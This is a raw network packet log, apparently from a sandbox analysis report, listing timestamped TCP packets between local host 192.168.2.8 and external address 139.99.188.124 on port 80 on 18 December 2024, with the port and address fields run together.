                                                        Dec 18, 2024 09:31:23.406891108 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.406892061 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.406904936 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.407275915 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.407404900 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.407457113 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.407468081 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.407566071 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.408176899 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.408276081 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.408287048 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.408292055 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.408328056 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.409033060 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.409084082 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.409097910 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.409176111 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.409862041 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.409943104 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.409955978 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.409976006 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.410305023 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.410690069 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.410741091 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.410753965 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.410809040 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.411580086 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.411648035 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.411659956 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.411672115 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.411715031 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.412412882 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.412471056 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.412484884 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.412715912 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.413182020 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.413244009 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.413255930 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.413260937 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.413301945 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.414145947 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.414165974 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.414179087 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.414345026 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.415851116 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.415863991 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.415877104 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.415935993 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.415935993 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.416558027 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.416570902 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.416584015 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.416656971 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.417110920 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.417227030 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.417511940 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.417589903 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.417602062 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.417629957 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.418212891 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.418278933 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.418287992 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.418292046 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.418378115 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.418981075 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.419066906 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.419079065 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.419133902 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.419748068 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.419768095 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.419861078 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.419867992 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.419920921 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.420442104 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.420496941 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.420509100 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.420571089 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.421164036 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.421214104 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.421226025 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.421402931 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.421402931 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.421988010 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.422055960 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.422069073 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.422213078 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.422923088 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.422967911 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.423012018 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.423026085 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.423271894 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.423535109 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.424484968 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.424527884 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.424539089 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.424638987 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.425009966 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.425059080 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.425071955 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.425085068 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.425403118 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.425668955 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.425693035 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.425705910 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.425759077 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.426390886 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.426470041 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.426532030 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.442529917 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.566756010 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.566821098 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.566858053 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.567064047 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.567115068 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.567168951 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.567193031 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.567204952 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.568056107 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.568151951 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.590204000 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.590264082 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.590300083 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.590377092 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.590537071 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.590586901 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.590643883 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.590678930 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.590712070 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.591458082 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.591515064 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.591548920 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.591607094 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.591607094 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.592291117 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.592348099 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.592381954 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.592403889 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.593194008 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.593230963 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.593266964 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.593822002 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.594017029 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.594052076 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.594059944 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.594088078 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.594155073 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.594847918 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.594882965 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.594918966 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.594959974 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.594959974 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.595628023 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.595684052 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.595716953 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.595736027 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.596560955 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.596596956 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.596632957 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.597081900 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.597081900 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.597358942 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.597393036 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.597429037 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.597462893 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.598237038 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.598272085 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.598306894 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.598396063 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.598707914 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.599050999 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.599175930 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.599211931 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.599281073 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.599975109 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.600011110 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.600110054 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.600164890 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.600218058 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.600663900 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.600720882 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.600754976 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.600816965 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.601476908 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.601531982 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.601566076 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.601583958 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.602296114 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.602349997 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.602350950 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.602385998 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.602446079 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.603195906 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.603230953 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.603266001 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.603305101 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.603305101 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.604044914 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.604079962 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.604115009 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.604480982 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.604856014 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.604871988 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.604888916 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.604918003 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.604938984 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.605684996 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.605742931 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.605778933 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.605818033 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.606570005 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.606604099 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.606641054 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.606678009 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.606698990 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.607392073 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.607445955 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.607481003 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.607722044 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.608200073 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.608536959 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.608571053 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.608776093 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.608825922 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.608889103 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.609323025 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.609357119 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.609391928 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.609405041 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.609441996 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.610135078 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.610172033 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.610205889 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.610215902 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.610996962 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.611031055 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.611067057 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.611285925 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.611830950 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.611865997 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.611897945 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.611901999 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.611932039 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.612900972 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.612936974 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.612972021 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.612977028 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.613025904 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.613444090 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.613533974 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.613840103 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.613873959 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.613910913 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.614147902 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.614147902 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.614666939 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.614702940 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.614743948 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.614758968 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.615250111 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.615304947 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.615433931 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.615489960 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.615524054 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.615549088 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.616358995 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.616413116 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.616421938 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.616456985 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.617249012 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.617301941 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.617314100 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.618752956 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.619863033 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.757612944 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.757656097 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.757671118 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.757756948 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.757981062 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.758136988 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.758152962 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.758167028 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.758193016 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.758193016 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.758977890 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.759043932 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.781481981 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.781522989 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.781538010 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.781584024 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.781794071 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.781821012 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.781831980 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.781835079 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.781894922 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.782594919 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.782635927 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.782653093 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.782691002 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.783497095 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.783523083 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.783540010 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.783566952 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.783672094 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.784439087 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.784495115 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.784508944 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.784543037 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.785356045 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.785389900 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.785406113 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.785470009 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.785470009 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.786010981 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.786039114 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.786051989 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.786087990 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.786722898 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.786787033 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.786798000 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.786814928 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.786870956 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.787656069 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.787667990 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.787682056 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.787801027 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.788404942 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.788489103 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.788517952 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.829592943 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.871452093 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:24.703069925 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:24.823395014 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:24.823626995 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:24.823900938 CET4970680192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:24.943924904 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.319664001 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.319684982 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.319696903 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.319763899 CET8049706139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:26.319777012 CET8049706139.99.188.124192.168.2.8
